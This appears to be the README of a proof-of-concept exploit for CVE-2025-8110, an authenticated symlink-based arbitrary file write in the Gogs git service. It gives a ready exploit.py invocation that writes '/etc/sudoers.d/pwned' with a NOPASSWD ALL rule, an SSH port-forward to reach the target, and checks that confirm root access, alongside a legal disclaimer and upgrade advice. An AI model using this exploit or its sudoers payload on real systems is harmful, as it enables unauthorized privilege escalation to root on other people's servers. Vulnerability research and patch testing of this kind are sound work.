
PoC for CVE-2025-8110 - Gogs arbitrary file write via symlink
Proof-of-concept for an authenticated arbitrary file write in Gogs. By pushing a repository that contains a symbolic link pointing outside the repo and then updating that link's contents through the API, an authenticated user can overwrite files on the host with the privileges of the account running Gogs.
Authorized testing and education only. Run this only against systems you own or have explicit written permission to test. You are responsible for how you use it.
malicious_link -> /path/on/host) and push it.PUT to the Contents API to update malicious_link. Gogs follows the
symlink and writes the supplied content to the target path — with its own
privileges. If Gogs runs as root, this is a direct privilege-escalation primitive
(e.g. dropping a rule into /etc/sudoers.d/).The API PUT is what actually triggers the write; the push only places the symlink.
git available on PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Omit --password to be prompted securely instead of passing it on the command line.
Gogs is often bound to localhost on the target. Use SSH local port forwarding to expose it to your machine (adjust ports to match the target):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
After a successful run, check on the host (as the relevant user):
cat /etc/sudoers.d/pwned
sudo -l
If you wrote a sudoers rule, note that files in /etc/sudoers.d/ must be valid and
have appropriate permissions for sudo to honor them.
auto_init returns HTTP 500 — the script falls back to creating an empty repo
and populating it with a local git init + push.master vs main.Upgrade to a Gogs release that validates symlinks in the Contents API. As defense in depth, avoid running Gogs as root and isolate the repository storage.
MIT — see LICENSE.